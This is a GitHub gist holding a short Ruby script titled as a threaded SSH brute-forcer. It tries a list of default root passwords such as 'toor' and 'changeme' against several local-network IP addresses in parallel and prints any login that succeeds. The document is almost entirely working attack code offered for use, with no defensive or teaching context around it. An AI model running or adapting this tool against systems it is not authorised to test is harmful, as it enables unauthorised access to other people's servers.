Skip to content

Instantly share code, notes, and snippets.

@claudijd
Created March 29, 2013 03:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save claudijd/5268563 to your computer and use it in GitHub Desktop.
Save claudijd/5268563 to your computer and use it in GitHub Desktop.
Quick and Dirty Threaded SSH Bruteforcer
require 'net/ssh'
require 'thread'
require 'timeout'
ips = [
"192.168.1.80",
"192.168.1.81",
"192.168.1.82",
"192.168.1.83",
]
creds = [
["root", "changeme"],
["root", "toor"],
["root", "root"],
["root", "admin"],
]
def authenticate(ip, username, password)
begin
status = Timeout::timeout(3) {
session = Net::SSH.start(ip, username, :password => password)
puts "[+] Guessed Credentials on #{ip} with #{username}/#{password}"
}
rescue Errno::ECONNREFUSED,
Timeout::Error,
Errno::EHOSTUNREACH,
Errno::EHOSTDOWN
puts "[-] Connection issue with #{ip}"
rescue Net::SSH::AuthenticationFailed
puts "[-] Failed to authenticate to #{ip} with #{username}/#{password}"
end
end
bq = SizedQueue.new(4)
num_threads = 5
producer_thread = Thread.new(bq) do |queue|
ips.each do |ip|
creds.each do |cred|
username, password = cred
queue << [ip, username, password]
end
end
num_threads.times do
queue << :end_of_producer
end
end
consumer_threads = []
num_threads.times do
consumer_threads << Thread.new(bq) do |queue|
until (ip_cred_pair = queue.pop) === :end_of_producer
ip, username, password = ip_cred_pair
authenticate(ip, username, password)
end
end
end
consumer_threads.each {|t| t.join}
puts "All done"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment